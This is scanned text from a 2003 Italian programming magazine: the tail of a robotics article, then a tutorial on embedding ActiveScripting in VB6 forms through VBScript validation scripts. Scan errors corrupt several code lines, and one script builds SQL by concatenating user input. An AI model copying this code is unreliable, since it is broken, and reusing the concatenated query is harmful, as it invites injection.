La nostra applicazione di controllo della mano mec- 
canica per mezzo del joystick è a questo punto ter- 
minata, siamo in grado di afferrare oggetti, sollevar- 
li e ruotarli: il nostro viaggio nel mondo della roboti- 
ca è appena iniziato. 



CONCLUSIONI 

Al temine della lettura di queste pagine e con il 
bagaglio di conoscenze acquisite negli appunta- 
menti precedenti, siamo in grado di gestire la presa 
della mano, i sensori di pressione e prossimità, non- 
ché la rotazione e la flessione del polso di un brac- 
cio meccanico. 

Il lettore vorrà comprendere che nonostante quanto 
esposto in queste pagine sia stato debitamente veri- 
ficato e collaudato, tuttavia viene riportato a scopo 
illustrativo e di studio, pertanto l'editore e l'autore 
non sono da considerare responsabili per eventuali 
conseguenze derivanti dell'utilizzo di quanto espo- 
sto in questa sede, soprattutto per la tipologia e la 
complessità dell'argomento. 
Per maggiori informazioni sul braccio meccanico, 
sulle interfacce relative e sull'apparecchiatura PC 
Explorer light è possibile visitare il sito : 
http://web.tiscali.it/spuntosoft/, inoltre l'autore è lieto 
di rispondere ad ogni richiesta di chiarimento o 
delucidazione sull'argomento all'indirizzo di posta 
elettronica luca.spuntoni@ioprogram.mo. it 

Luca Spuntoni 




PRECAUZIONI 

Prima di collegare il 
circuito al nostro PC 
occorre verificare la 
nostra realizzazione 
con attenzione per 
assicurarci che tutto sia 
stato collegato come 
previsto. 
L'utilizzo del 
programma presentato 
in questa sede mentre 
è col legata una 
qualunque altra 
periferica al PC sulla 
porta LPT1, può 
bloccarne il 
funzionamento. 



http://www.ioprogrammo.it 



Dicembre 2003/65 ► 



SISTEMA T 



Scripting Engine 



giungere un ambiente di Scripting alle proprie applicazioni 

Applicazioni VB6 
scripting addicted 

La tecnologia ActiveScripting di Microsoft consente di aggiungere il 
supporto allo scripting nelle applicazioni per trasformarle in veri 
ambienti aperti nei quali far girare addin e personalizzazioni delle più 
svariate tipologie. 





^cd sf WEB 

ScriptingVB.zip 




GLOSSARIO 



ACTIVESCRIPTING 

ActiveScripting è la 

tecnologia Microsoft 

gratuita che fornisce 

un motore di scripting 

basato su COM al 

sistema operativo e a 

tutte le applicazioni 

che intendano 

utilizzarlo. 



Esiste sempre una lista di funzionalità "assolu- 
tamente da implementare" nelle proprie ap- 
plicazioni, un'altra di feature utili, spesso non 
molto onerose da scrivere e che, "se avanza tempo", 
si doneranno al programma; esiste infine una terza 
categoria di micro-macro-funzionalità che quasi 
mai si aggiungono perché sono estremamente com- 
plesse da implementare, offrono sì indubbi vantaggi 
all'utente, ma a fronte di uno sforzo non banale e 
che non sempre si riesce a far finanziare. Un esem- 
pio per tutti: lo scripting all'interno delle proprie ap- 
plicazioni, cioè la possibilità di far comportare la 
nostra applicazione in maniera diversa da come 
avevamo previsto, di automatizzare o modificare 
certi comportanti e, più generale, adattare parti del 
programma a certe esigenze dell'utente senza per 
questo modificare il codice e rilasciare nuove versio- 
ni. Non si tratta certo di un obiettivo banale da rea- 
lizzare, perché ci si scontra con due grossi problemi: 
il linguaggio di scripting da inventarsi e da imple- 
mentare e la pervasività di questo scripting all'inter- 
no dell'applicazione. Se anche ci si inventa un lin- 
guaggio di macro, si finisce col limitare l'utente a 
scrivere formulate tipo 2 * BUDGET I 0.75 o altre 
simili amenità "scientifiche". Ma, adottando questo 
approccio, difficilmente si centra l'obiettivo perché 
la vostra applicazioni non è Excel e il vostro utente 
non è (necessariamente) un dottore commercialista 
o un matematico. Il problema vero è che in queste 
soluzioni fatte in casa manca una vera interazione 
con tutte le parti dell'applicazione (form, oggetti 
non visuali, database, ecc.). Questo, in realtà, era 
vero fino a quando Microsoft, in procinto di aggiun- 
gere il supporto Javascript nel suo browser Internet 
Explorer, non ha avuto la geniale idea di non limitar- 
si a scrivere l'ennesimo browser con l'ennesimo 
"motorino" Javascript ma, forte del fatto di essere 
fornito di piattaforme e non solo di browser, di rega- 



lare a Windows e agli sviluppatori COM un potente 
motore di scripting. 



LA TECNOLOGIA 
ACTIVESCRIPTING 

A discapito dei tanti che ormai considerano obsole- 
to e inadeguato tutto quello che non fa rima con C# 
o per .NET. . . Ebbene ActiveScripting è la tecnologia 
Microsoft gratuita che fornisce un motore di scrip- 
ting basato su COM al sistema operativo e a tutte le 
applicazioni che intendano utilizzarlo. Gli esempi 
più noti sono sicuramente Internet Explorer, ASP 
(che sfrutta questo scripting come linguaggio di pro- 
grammazione) e Windows Scripting Host, cioè il 
motore di scripting evoluto che in Windows sostitui- 
sce gli antichi batch di DOSsiana memoria. La tec- 
nologia è ben architettata: innanzitutto è basato su 
COM, cioè è in grado di interegire direttamente con 
oggetti COM che implementano l'interfaccia di 
automazione IDispatch, inoltre è multi-linguaggio. 
Ad un motore comune che implementa tutte le fun- 
zionalità di un sistema di scripting si può aggiunge- 
re un linguaggio sovrastante purché implementato 
secondo le specifiche Microsoft. Di default abbiamo 
già due linguaggi: VBScript, cioè Visual Basic Scrìp- 
tingEdition (un subset diVBA) eJScript, una varian- 
te Microsoft del linguaggio standard Javascript 
anche se abbastanza compatibile con questo. Altri 
produttori possono invece implementare i loro lin- 
guaggi ed infatti esistono già in circolazione linguag- 
gi di terze parti come Perl, Python, un Pascal ad og- 
getti e numerosi altri. Indipendentemente dalle dif- 
ferenze sintattiche dei vari linguaggi, ogni linguag- 
gio ActiveScripting compliant è caratterizzato da: 

• Supporto di tutti i costrutti fondamentali; 



». 66/Dicembre 2003 



http://www.ioprogrammo.it 



Scripting Engine 



T SISTEMA 



• Supporto della programmazione ad oggetti (più 
o meno evoluta e seconda dei linguaggi), ma 
non dell'ereditarietà; 

• Assenza di strong typing e strong casting, in pra- 
tica le variabili non sono tipizzate ma sono basa- 
te sul tipo Variant di COM; 

• Possibilità di interagire con oggetti COM 
IDispatch. 

Osserviamo un semplice esempio di codice VBScript 
che fa uso anche di interfaccia utente: 



babile che su alcune installazioni di Windows sia già 
presente visto che è largamente usato. L'ideale 
sarebbe installare i seguenti componenti, sempre 
reperebili al sito indicato: 

• Microsoft Scripting Engine 5.6 (Windows XP è 
già fornito con essa per cui non è necessaria l'in- 
stallazione, inoltre esistono due versioni: una 
per Windows 2000 e l'altra per Windows 98, ME 
edNT4); 

• Microsoft Script Control 1.0. 




Dim Data 

Dim Diff 

Data = InputBox("Inserisci la tua data di nascita nel 

formato GG/MM/YYYY:") 

Diff = DateDiff("YYYY", CDate(CStr(Data)), Now) 
MsgBox "Tu hai " & CStr(Diff) & " anni", , "VBScript" 

Possiamo notare la presenza di funzioni di libreria 
abbastanza sofisticate come la DateDiff che esprime 
una differenza tra due date in un formato persona- 
lizzato (ad esempio, indicando "YYYY" otterremo la 
differenza espressa in anni). Ma la cosa che deve far 
riflettere maggiormente è supporto agli oggetti 
IDispatch e alla possibilità di crearli attraverso il loro 
ProgID. Vediamone un esempio: 

Dim Conn 

Dim Rs 

Set Conn = CreateObject("ADODB. Connection") 
Conn. Open "Provider=...." 'connection string 

Set Rs = CreateObject("ADODB.Recordset") 

Rs.Open "select * from Customers where Customerld 

= 14", 2, 3 

Quando nel lontano 1998 fu introdotta ActiveScrip- 
ting, in molti restarono delusi perché il suo utilizzo 
era appannaggio degli sviluppatori Visual C++ 
esperti di COM low level, tutto il contrario dei tanti 
programmatori che avevano reclamato a gran voce 
un linguaggio di scripting per le proprie applicazio- 
ni. Infatti, per il suo utilizzo era necessario conosce- 
re COM ad un livello molto basso. Era anche neces- 
sario implementare ed utilizzare interfacce COM 
non di automazione, ma di tipo IUnknown e quindi 
off-limits per VBA. Fortunatamente, a distanza di 
quasi due anni Microsoft mise la cosiddetta "pezza", 
tirando fuori un gioiellino (gratuito) che si chiama 
Microsoft Script Control. Si tratta di un proxy OCX 
intorno al motore Microsoft Scripting Engine che 
consente di sfruttare lo scripting in modo così sem- 
plice da risultare banale. 

Ma procediamo subito con un esempio reale di uti- 
lizzo che mostra la semplicità dello strumento. 
Innanzitutto è necessario scaricare il Microsoft 
Script Contivi LO, collegandosi all'indirizzo che tro- 
vate nei box di queste pagine, anche se non è impro- 



Al termine dell'installazione e dell'eventuale riavvio 
procediamo con la creazione di un nuovo progetto 
Visual Basic 6. Tra i Controls, scegliamo Microsoft 
Script Control 1.0. 

A questo punto, nella palette dei controlli vi ritrove- 
rete una nuova icona. 

Tra le proprietà del controllo troviamo già predefini- 
to l'aggancio con il linguaggio VBScript. Possiamo 
così scegliere lo Script Control dalla palette dei con- 
trolli e aggiungerlo nella nostra form. Dopo aver 
impostato rapidamente alcune proprietà del con- 
trollo (Language uguale a VBScript e AllowUI a Truè) 
siamo già pronti ad usare il controllo! 



IL PRIMO ESEMPIO 

Nei sorgenti allegati al presente articolo è disponibi- 
le anche il progetto Scripting, vbp. Si tratta di un 
primo semplice esempio di validazione del testo pre- 
sente in un due textbox con codice VBScript carica- 
to ed eseguito nello Script Control. 
L'idea è che ogni volta che scatta l'evento validate 
delle textbox, venga eseguito del codice VBScript 
che validi il contenuto della textbox restituendo un 
booleano. La funzione VBScript da eseguire è la 
seguente: 



GLOSSARIO 



INTERFACCE COM 

COM è l'acronimo di Component Object Model ed è la tecnologia 
(precedente a .NET) di Microsoft che definisce uno standard binario di 
interazione tra oggetti e librerie scritte in qualsiasi linguaggio aderente 
alla specifica. Tutta la tecnologia si basa su una forma un po' particolare di 
Object Orientation perché è fondata sulle interfacce anziché sulle classi. In 
pratica ogni oggetto COM implementa una o più interfaccia e i client si 
riferiscono ad essa sempre attraverso l'interfaccia implementata. 
L'interfaccia fondamentale di COM, da cui discendono tutte le altre, è 
IUnknown. Essa si limita a definire un meccanismo di verifica delle altre 
interfacce implementate dall'oggetto (query interface) e di gestione delle 
referenze agli oggetti (il reference counter), ma non descrive la struttura 
dell'interfaccia che quindi deve essere già nota ai client per essere 
utilizzata analogamente a quanto avviene per i file header del C. Questa 
tecnologia, ai livelli più bassi e quindi a livello di interfaccia base, è 
complessa da gestire ed è ad appannaggio degli sviluppatori C++ e di 
pochi altri. 



http://www.ioprogrammo.it 



Dicembre 2003/67 ► 



SISTEMA T ■ Scripting Engine 




Function ValidateTextBox (textBox) 
ValidateTextBox = False 
If IsNumeric(textBox.Text) Then 

If Clng(textBox.Text) >= Then 

ValidateTextBox = Trae 

Else 

MsgBox "Errore, non sono ammessi numeri 

negativi!", 48, "Prova Scripting ioP" 

End If 

Else 

MsgBox "Errore, non è stato immesso un numero!", 

48, "Prova Scripting ioP" 

End If 

If Not ValidateTextBox Then 

textBox. SetFocus 

End If 

End Function 

Alla funzione viene passato un oggetto TextBox di 
Visual Basic 6 ed essa controlla innanzitutto che il 
testo contenuto sia effettivamente un numero e poi 
che non sia negativo. In caso di errore stampa un 
message box e restituisce False. Diversamente resti- 
tusce True e la validazione può considerarsi corretta. 
Questa semplice funzione evidenzia già alcune delle 
caratteristiche salienti dello scripting ActiveScrip- 
ting. non è tipizzato, infatti il tipo del valore di ritor- 
no della funzione non è definito, ma è di tipo va- 
riant. Inoltre il parametro textbox è proprio un og- 
getto Visual Basic 6 gestibile nativamente dallo 
script. 

Questo è possibile perché in Visual Basic 6 ogni 
oggetto è un oggetto COM di automazione e quindi 
fruibile anche da ActiveScripting. Osserviamo come 
viene caricata questa funzione nello script control 
del nostro programma di esempio (il codice è conte- 
nuto in una textbox presente nel form 
(.txtValidationScriptDemo), in modo che possa esse- 
re modificato al volo; il caricamento del codice ov- 
viente sul click di un bottone del form (cmdRefresh- 
Script): 

Private Sub cmdRefreshScript_Click() 

ScriptControl 1 . Reset 

ScriptControll.AddCode txtValidationScriptDemo. Text 
End Sub 



ScriptControl l.AddObject "TextBoxValidation2", 

txtValidationDemo2, True 
End Sub 

L'istruzione AddObject consente di aggiungere nello 
script dei riferimenti ad oggetti COM di automazio- 
ne. Ogni oggetto verrà identificato nello script attra- 
verso un nome simbolico che viene passato come 
primo parametro del metodo, significa che da quel 
momento in poi nello script ci si potrà riferire a 
txtValidationDemo sempre attraverso il nome Text- 
BoxValidation. L'ultimo passo è far eseguire la fun- 
zione VBScript ValidateTextBox nell'evento validate 
delle due textbox: 

Private Sub txtValidationDemo_Validate(Cancel 

As Boolean) 
Cancel = Not CBool(ScriptControll.Eval( 

"ValidateTextBox (TextBoxValidation)")) 
End Sub 
Private Sub txtValidationDemo2_Validate(Cancel As 

Boolean) 
Cancel = Not CBool(ScriptControll.Eval( 

"ValidateTextBox (TextBoxValidation2)")) 

End Sub 

Il principio è molto semplice: viene invocato il me- 
todo Eval dello script control facendo eseguire la 
funzione a cui viene passato di volta in volta il nome 
simbolico del controllo da validare. Il valore di ritor- 
no della funzione sarà un boolean ad indicare se 
testo nella textbox è corretto o meno. In caso negati- 
vo la validate non riuscirà {Cancel = True), verrà 
stampata una message box direttamente dalla fun- 
zione VBScript e il focus resterà nel controllo stesso 
fino a quando non verrà inserito un valore numeri- 
co corretto. 



JJQ 







ma 


f\ BTore, n 


„,.n.™ 


essi numeri negativi! 

J 


: 




Ricarica s 


. 1 


Esci 



Fig. 1: La prima applicazione "scriptata" 



Prima che questo codice venga eseguito è necessaria 
un'operazione preventiva: passare i riferimenti alle 
delle due textbox (txtValidationDemo e txtValida- 
tionDemoZ) al motore di scripting in modo che pos- 
sano essere utilizzate nello script. Questo avviene 
attraverso il seguente codice eseguito nella 
Form_Load dell'applicazione: 

Private Sub Form_Load() 

ScriptControll. AddObject "TextBoxValidation", 

txtValidationDemo, True 



In Fig. 1 è possibile osservare la nostra applicazione 
in esecuzione. È interessante notare che, se modifi- 
chiamo il codice della funzione nella textbox e la 
ricarichiamo (da Ricarica Script), alla successiva va- 
lidazione dei controlli verrà eseguito il nuovo codi- 
ce: questo significa che abbiamo modificato al volo 
il comportamento del nostro programma! L'esem- 
pio probabilmente non è particolarmente geniale, 
ma rende l'idea di quello che si può fare: dei pro- 
grammi dal comportamento mutante e senza nes- 
suna ricompilazione. . . 



»> 68/ Dicembre 2003 



http://www.ioprogrammo.it 



Scripting Engine ■ ▼ SISTEMA 



FORM DI IMMISSIONE 
DINAMICO 

L'esempio appena mostrato non è molto complesso, 
ma rende l'idea. Il progetto PassingObjects.vbp rap- 
presenta un esempio certamente più articolato e 
maggiormente utile. L'obiettivo è di produrre una 
maschera di data entry di anagrafica (nome, cogno- 
me, data di nascita, email, ecc.). Nel codice Visual 
Basic 6 non viene effettuato nessun controllo di vali- 
dazione dei campi perché questo "cablerebbe", una 
volta per tutte, la maschera rendendola non modifi- 
cabile, se non con una ricompilazione. Invece tutti i 
controlli di validazione, sia a livello di singolo 
campo, che di form complessivo, vengono deman- 
dati ad una serie di script VBScript caricati al volo: il 
risultato è la capacità di modificare anche drastica- 
mente il comportamento del form in modo da uti- 
lizzare la maschera non come un data entry per un 
unico uso, ma come un sistema dinamico di immis- 
sione di dati anagrafici soggetti da riutilizzare di 
volta in volta per implementare comportamenti 
anche molto diversi. Essenzialmente vengono gesti- 
ti tre livelli di controllo e, ad ogni text change dei 
campi (ogni volta che l'utente immette un carattere 
in un campo), viene eseguito uno script con il se- 
guente prototipo: 

Sub TextBoxTextChange (textBoxName) 
Select Case UCase(textBoxName) 

Case "IP": 

If Form. txtld. Text = "CEP" Then 

'fai qualcosa 

End If 

Case "EMAIL": 

'fai qualcosa 

Case "REDPITO": 

If Clng(Form.txtReddito.Text) > 50000 Then 

'fai qualcosa 

End If 

Case Else 

'fai qualcosa 
End Select 
End Sub 

La funzione non ritorna alcun valore per cui viene 
richiamata solo come notifica. Siccome invocare 
una funzione ad ogni pressione di tasto potrebbe 
essere un'operazione molto time consuming, si può 
rendere questo comportamento opzionale. È inte- 
ressante notare che alla procedura viene passato il 
nome della textbox su cui si è scatenato il text chan- 
ge, per cui esiste una sola sub per tutti i campi del 
form. Si è scelta questa tecnica per evitare di defini- 
re decine di funzione diverse per i vari campi, risol- 
vendo il tutto con un semplice select case in cui ogni 
controllo viene riconosciuto da un nome simbolico 
(ID, EMAIL, ecc. . .). Un'altra interessantissima parti- 



colarità è il modo di accedere ai campi del form: si 
pensi al contenuto del campo txtld: la sintassi è 
Form.txtld.Text. Questo è possibile grazie al fatto che 
dallo script è disponibile l'intero form di data entry 
identificato dal nome simbolico Form. Ecco come è 
stato reso possibile: 

ScriptControll.AddObject "Form", Me, True 

Con questa istruzione Me (il form corrente) viene 
aggiunto tra gli oggetti fruibili dallo script e gli viene 
assegnato il nome simbolico Form. Non vi stupirete 
ormai più se la deduzione più ovvie è che il form è 
un oggetto COM di automazione... Per far si che 
questa funzione venga eseguita sul text change, per 
ciascuna textbox del form viene definito l'event han- 
dler TextChange per ciascuna di essa con il seguente 
codice: 

Private Sub txtCAP_Change() 

ScriptControl 1 . ExecuteStatement 

("TextBoxTextChange ""CAP""") 

End Sub 

L'altro tipo di evento gestito dallo script è la validate 
di ogni campo. Per questo ci si affida ad una funzio- 
ne come la seguente: 

Function TextBoxValidate (textBoxName) 
Select Case UCase(textBoxName) 

Case "IP": 

TextBoxValidate = (txtlP.Text <> "") 

Case "EMAIL": 

TextBoxValidate = Validator.VerifyEmail(txtEmail.Text) 

Case "REPPITO": 

TextBoxValidate = Validator.VerifyNumber(txtReddito.Text) 
Case Else TextBoxValidate = True 
End Select 
End Function 

In questo caso la funzione viene invocata ad ogni 
evento validate dei controlli e di nuovo si tratta di un 
evento centralizzato a cui viene passato l'identifica- 
tivo simbolico del campo come parametro. Sostan- 
zialmente questa funzione differisce dalla prece- 
dente perché restituisce un booleano indicante l'av- 
venuta validazione del campo. Questo booleano 
verrà letto e gestito dall'evento text change di ogni 
controllo del form e un eventuale false bloccherà il 
focus sul controllo corrente fino a quando non viene 
immesso dall'utente un valore valido. Per far questo, 
nel form viene definito l'handler dell'evento valida- 
te per ciascun campo, nel modo mostrato nell'e- 
sempio seguente relativo al campo email: 

Private Sub txtEmail_Validate(Cancel As Boolean) 
Cancel = Not CBool(ScriptControll.Eval( 

"TextBox Va I i date (" "E M AI L"") ") ) 





GLOSSARIO 



LE TYPELIBRARY 

Ad accompagnare 
IDispatch è stato 
introdotto il concetto 
di typelibrary, cioè di 
un file binario esterno 
alla libreria stessa o 
incluso in essa, che 
descrive interamente le 
interfacce 

implementate da un 
oggetto e discendendi 
da IDispatch. Il 
vantaggio delle 
typelibrary è che al 
loro interno, per 
ciascun membro 
dell'interfaccia, 
conservano anche 
l'indirizzo preciso 
(all'interno della 
vtable, cioè dell'indice 
degli indirizzi della 
classe) del membro 
stesso. 



http://www.ioprogrammo.it 



Dicembre 2003/69 ► 



SISTEMA T ■ Scripting Engine 





PROBLEMI 

CON IL LATE 

BiniDIMG 

Naturalmente il 

controllo dell'esistenza 

dei metodi invocati in 

late binding non è 

verificabile a compile 

time, ma solo a 

runtime. Si tratta di un 

metodo lento e poco 

sicuro, ma 

straordinariamente 

semplice e potente e 

l'unico possibile per 

linguaggio non 

tipizzati come quelli 

forniti con la 

tecnologia 

ActiveScripting che 

infatti funziona 

proprio così. Se e 

quando passerete a 

.NET, scoprirete che 

questi concetti sono 

stati ripresi e 

potenziati, ma 

sostanzialemnte sono 

rimasti gli stessi, solo 

che adesso hanno nomi 

più "nobili" come 

metadati (typelìbrary) 

e ref lection {late 

binding): non si 

inventa mai nulla 

ormai... 



End Sub 

È interessante notare che nello script di esempio, 
proprio relativamente al campo txtEmo.il, viene ri- 
portata l'istruzione Validator.ValidateEmail a cui 
viene passato il contenuto del campo. Evidente- 
mente si tratta di un controllo di validità sintattica 
dell'email, ma da dove spunta l'oggetto Validator 1 . 
Se osservate il sorgente del progetto, troverete la 
classe Validator.cls così definita: 

Option Explicit 

Public Function VerifyDate(ByVal stringDate As String) 

As Boolean 

On Locai Errar GoTo ErrorHandler 

VerifyDate = IsDate(stringDate) 
ErrorHandler: 
End Function 
Public Function VerifyNumber(ByVal stringNumber As 

String) As Boolean 

On Locai Errar GoTo ErrorHandler 

VerifyNumber = IsNumeric(stringNumber) 
ErrorHandler: 
End Function 
Public Function VerifyEmail(ByVal stringEmail As 

String) As Boolean 

Dim regEx As RegExp 

Dim myMatches As MatchCollection 

Dim myMatch As Match 

On Locai Errar GoTo ErrorHandler 

Set regEx = New RegExp 

regEx. Pattern = ".*@.*\..*" 

Set myMatches = regEx. Execute(stringEmail) 

VerifyEmail = (myMatches. Count > 0) 
ErrorHandler: 
End Function 

Si tratta di un banale validatore di campi in grado di 
testare la bontà di numeri, date e email (in quest'ul- 
timo caso attraverso una regular expression). 
Questo oggetto viene istanziato e passato allo script 
control che è quindi in grado di utilizzarlo: 

ScriptControll.AddObject "Validator", New Validator, Trae 

L'idea è appunto quella di evitare di scrivere troppo 
codice generico direttamente in VBScript, ma di for- 
nire a questo una serie di helper function riutilizza- 
bili, in modo da delegare allo scripting solo il codice 
legacy. L'ultima funzione di scripting del nostro form 
si occupa invece della validazione complessiva dei 
dati. Osserviamone il prototipo: 

Function FormConfirmation() 
FormConfirmation = False 
If Trim(Form.txtld.Text) = "" Then 

Msgbox "ID mancante!" 

Exit Function 



End If 


If DateDiff("YYYY", 


CDate(Form 


.txtDataNascita.Text), 
Now) > 40 Then 


Msgbox "Non sono ammessi 


operatori con 
superiore ai 


età 
40 anni!" 


Exit Function 


End If 


FormConfirmation 


= True 






End Function 



Il concetto è che in questa funzione devono essere 
verificati i dati presenti nei campi del form nel suo 
complesso prima di un eventuale consolidamento 
del dato nel database. 



LA STRUTTURA 
DELLO SKIN DI 
SCRIPTING DEL FORM 

In Fig. 2 è possibile osservare il nostro form di inse- 
rimento dati in esecuzione. 

Fino ad ora abbiamo visto come agganciare script 
eterogenei a differenti eventi del form, ma essenzial- 
mente si tratta di un'operazione un po' confusa e di 
difficile attuazione reale perché è necessario ricor- 
darsi di caricare numerosi script e di sostituirli di 
volta in volta se si intende cambiare il comporta- 
mento di validazione. In realtà il form del nostro 
programma d'esempio è stato pensato proprio per 
supportare molto facilmente questa funzionalità e 
per evitare di dover effettuare molte operazioni. 
Infatti è sufficiente definire un file .INI strutturato 
nel seguente modo: 






Saipt da eseguire: fc; 



igsMtoVdy DoajmemsSaipSng-VBoWakPynami _-J 




Fig. 2: Il nosto form di validazione in esecuzione. 

[Options] 
ActiveScript=0 
Caption = Nessuno script 
[Events] 
RaiseTextChange=0 

RaiseValidate=0 

[Scripts] 
Option Explicit 
Function Init 



»> 70/Dicembre 2003 



http://www.ioprogrammo.it 



Scripting Engine ■ T SISTEMA 



Init = True 
End Function 
Function TextBoxValidate (textBoxName) 

TextBoxValidate = True 
End Function 
Sub TextBoxTextChange (textBoxName) 

End Sub 

Function FormConfirmation() 

FormConfirmation = True 
End Function 

Sono presenti diverse sezioni. La prima, Options, 
semplicemente contiene la proprietà Caption che 
indica la natura dello script e la proprietà Active- 
Script che se posta a 1 indica che la form deve ese- 
guire gli script di validazione, altrimenti se posta a 
non verrà eseguito alcunché. 
La sezione Events, invece, scende nel dettaglio degli 
script di campo da eseguire, infatti RaiseTextChange 
ad 1 sta ad indicare che devono essere eseguiti gli 
script TextBoxTextChange ad ogni cambiamento del 
contenuto di uno dei campi del form, invece 
RaiseValidate dice proprio che deve essere eseguito 
il TextBoxValidate ad ogni validate sui campi del 
form. Infine nella sezione Scripts sono contenuti 
proprio i tre script da eseguire. La versione dell'e- 
sempio praticamente non esegue alcun controllo. È 
da notare la presenza della funzione Init che viene 
invocata al caricamento dell'/M proprio per inizia- 
lizzare eventuali oggetti o proprietà nello scripting. 
Dal button possibile proprio caricare un INI di script 
differente secondo la scelta fatta nella combo degli 
script presente nel form. La combo presenta tre INI, 
ma naturalmente è possibile definirne di nuovi che 
rendano ancora più personalizzata la form di inseri- 
mento. Ogni volta che si sceglie un nuovo script il 
form esegue il seguente codice di caricamento: 

ScriptControl 1 . Reset 

ScriptControll.AddObject "Validator", New Validator, True 
ScriptControll.AddObject "Form", Me, True 
IbICaptionScript. Caption = CBGetIni(cbScripts.Text, 

"Options", "Caption", "") 
mActivateScript = (CBGetIni(cbScripts.Text, "Options", 

"ActiveScript", "") = "1") 
mActivateTextChange = (CBGetIni(cbScripts.Text, 

"Events", "RaiseTextChange", "") = "1") 
mActivateValidation = (CBGetIni(cbScrìpts.Text, 

"Events", "RaiseValidate", "") = "1") 
If mActivateScript Then 

ScriptControl l.AddCode ReadIniScript(cbScripts.Text, 

"Scripts") 

End If 

If Not CBool(ScriptControll.Eval("Init")) Then 

MsgBox "Errore di inizializzazione dello script!", 

vbCritical, "Script manager" 
Else 



Framel.Enabled 
End If 



True 



Senza troppo addentrarci nei dettagli, possiamo dire 
che vengono lette ed impostate le proprietà di inte- 
razione con lo script e poi viene caricato l'intero set 
di script presente nel file di configurazione. 
La versione più interessante è quella contenuta nel 
file heauy_scripts.ini. Osserviamone la definizione 
completa: 

[Options] 

ActiveScript=l 

Caption=Script di validazione basato su Northwind 

[Events] 

RaiseTextChange=l 

RaiseValidate=l 

[Scripts] 

Option Explicit 

Dim Conn 

Function Init 

On error resumé next 

Set Conn = CreateOb]ect("ADODB. Connection") 

Conn. Open = "Provider=Microsoft.Jet.OLEDB.4.0; 

Data Source=C:\Documents and Settings\Vito\ 

My Documents\Scripting-VB6\Disk\DynamicScripting\ 
NWIND.MDB;Persist Security Info=False" 

Conn.CursorLocation = 3 

Init = (Err = 0) 

End Function 

Function TextBoxValidate (textBoxName) 

Select Case UCase(textBoxName) 

Case "IP": 

TextBoxValidate = Validator.VerifyNumber( 

txtID.Text) 

Case "EMAIL": 

TextBoxValidate = Validator.VerifyEmaiI( 

txtEmail.Text) 





COIVI IIU PRATICA 

Osserviamo un esempio Visual Basic 
6 di accesso ad un oggetto COM in 
early binding. Per l'esempio è 
necessario riferire la libreria ADO: 

Dim Rs as ADODB.Recordset 
Set Rs = New 

ADODB.Recordset 

Rs.Fields.Append 
"codice", 8, 30 

L'omologo in late binding, che non 
richiede nemmeno la referenziazio- 
ne della libreria ADO, sarebbe: 

Dim Rs 



Set Rs = CreateObject( 

"ADODB.Recordset") 

Rs.Fields.Append 
"codice", 8, 30 

Quando viene invocata la 
CreateObject, Visual Basic prova ad 
effettuare l'instanziazione dell'og- 
getto via Progld, cioè attraverso la 
stringa simbolica che rappresenta 
il nome dell'oggetto nel registry di 
Windows. Se l'instanziazione riesce 
viene restituito un puntatore ad 
una generica interfaccia IDispatch 
perché in late binding Visual Basic 
non può sapere che 
ADODB.Recordset implementa l'in- 
terfaccia Recordset. 



http://www.ioprogrammo.it 



Dicembre 2003/71 ► 



SISTEMA T ■ Scripting Engine 





SUL WEB 



Sezione MSDN relativo 
ad ActiveScripting 

http://msdn.microsoft.com 
/scripting 

Indirizzo per i 

download di Microsoft 

Active Scripting 

http://msdn.microsoft.com 

/library/default.asp?url=/ 

downloads/list/webdev.asp 



Case "REDDITO": 

TextBoxValidate = Validator.VerifyNumber( 

txtReddito.Text) 

Case Else 
TextBoxValidate = True 
End Select 
End Function 
Sub TextBoxTextChange (textBoxName) 

Dim Rs 

on error resumé next 

Select Case UCase(textBoxName) 

Case "IP": 

Set Rs = CreateObject("ADODB.Recordset") 

Rs.Open "select * from employees where 

EmployeelD = " & Form, txtld, Text, _ 

Conn, 2, 3 

If Not Rs.EOF Then 

Form.txtCognome.Text = "" & 

Rs.Fields("LastName").Value 
Form.txtNome.Text = "" & 

Rs.Fields("FirstName").Value 

Form. txtData Nascita .Text = "" & 

Rs.Fields("BirthDate' , ).Value 

Form. txtlndirizzo. Text = "" & 

Rs.Fields("Address").Value 

Form. txtCAP. Text = "" & 

Rs.Fields("PostalCode").Value 

Form.txtStato.Text = "" & 

Rs.Fields("Country").Value 
Form. txtTelefono. Text = "" & 

Rs.Fields("HomePhone").Value 

Form. txtEmail. Text = "" 
Form. txtReddito.Text = "0" 

End If 

Rs.Close 
Case Else 

End Select 
End Sub 

Function FormConfirmation() 
FormConfirmation = False 
If Trim(Form.txtld.Text) = ""Then 
Msgbox "ID mancante!" 
Exit Function 

End If 

If DateDiff("YYYY", CDate(Form.txtDataNascita.Text), 

Now) > 40 Then 

Msgbox "Non sono ammessi operatori con età 

superiore ai 40 anni!" 
Exit Function 

End If 

FormConfirmation = True 
End Function 

Questo è l'unico esempio in cui viene gestito lo 
script sul text change dei campi del form. 
In particolare quando si sta scrivendo nel campo là, 
ad ogni carattere digitato si scatena la funzione di 




Fig. 3: II form agganciato dinamicamente a 
Northwind. 

scripting TextBoxTexChange. Questa effettua una 
select nella tabella employees del database 
Northwind Access e cerca un record con codice 
uguale a quello digitato nel campo là; se lo trova 
provvede automaticamente a compilare tutti gli altri 
campi del form con i campi omologhi del record 
selezionato. 

L'effetto è davvero efficace e sorprendente. La Fig. 3 
mostra il form con i dati completi presi da 
Northwind, ma per avere un'idea autentica della 
soluzione adottata è necessario provarla in funzio- 
ne. La connessione al database viene aperta nella 
Init. È interessante anche osservare il FormConfir- 
mation che fa un controllo dell'età del soggetto inse- 
rito effettuando una DateDiff sul campo data di na- 
scita del form. 



CONCLUSIONI 

L'obiettivo dell'articolo era quello di mostrare le 
innumerevoli, quasi infinite, possibilità e soluzio- 
ni applicative offerte dall'aggiunta dello scripting 
anche nelle normali applicazioni. 
L'esempio verteva proprio su un banale form di 
immissione di anagrafica soggetti che, grazie a 
script esterni, si poteva trasformare in una porzio- 
ne di applicazione molto potente ed interessanti. 
Per di più nessuno dei comportamenti che lo 
script aggiunge alla form sono stati pensati al 
momento della creazione della form stessa e nes- 
suna modifica al codice di questa è necessaria se 
si intende implementare nuove funzionalità: è 
sufficiente creare un nuovo file di configurazione 
degli script. 

Soluzioni come questa, ma anche con architettu- 
ra più sofisisticata o semplicemente diversa pos- 
sono permettervi di portare le vostre applicazioni 
ad un livello di dinamicità mai visto prima con un 
impatto sul codice praticamente nullo perché 
nulla è definito a livello di sorgente dell'applica- 
zione stessa. Adesso non vi resta che mettervi al 
lavoro: avete semplicemente uno strumento in 
più per farlo bene... 

Vito Vessia 



